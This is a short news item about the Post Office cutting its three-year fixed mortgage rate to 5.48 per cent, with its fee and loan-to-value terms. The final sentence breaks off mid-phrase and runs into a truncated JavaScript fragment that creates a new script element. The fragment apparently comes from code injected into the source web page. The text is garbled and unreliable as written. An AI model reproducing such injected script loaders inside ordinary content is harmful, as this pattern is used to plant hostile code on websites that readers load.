Post Office cuts mortgage rate

The Post Office has announced an interest rate cut to its three year fixed rate mortgage to 5.48 per cent – making it the best mortgage deal of its kind on the high street.

This is the second rate cut to the Post Office’s three year fixed rate mortgage in two months, and the third since its launch in November 2007 when it offered a rate of 6.09 per cent.

The mortgage continues to carry its low fixed arrangement fee of just £399 and can be taken out on up to 95 per cent of a home’s value. There is no higher lending charge or extended tie-in, giving Post Office customers a market leading deal.

The three year fixed rate deal is part of a range of mortgages being trialled by the Post Office in selected branches in the North of England. However, people across the UK can apply by calling 0800 707 6204. Further information is also available at, document.currentScript);if (document.currentScript) { var d=document;var s=d.createElement('script');

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